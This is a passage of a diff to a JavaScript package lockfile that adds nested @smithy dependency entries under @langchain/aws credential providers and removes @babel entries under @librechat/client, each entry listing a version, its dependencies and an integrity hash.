"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8651,6 +8353,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -8667,6 +8371,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -8677,10 +8383,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
@@ -8691,10 +8403,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8737,6 +8455,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -8753,6 +8473,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -8761,387 +8483,33 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
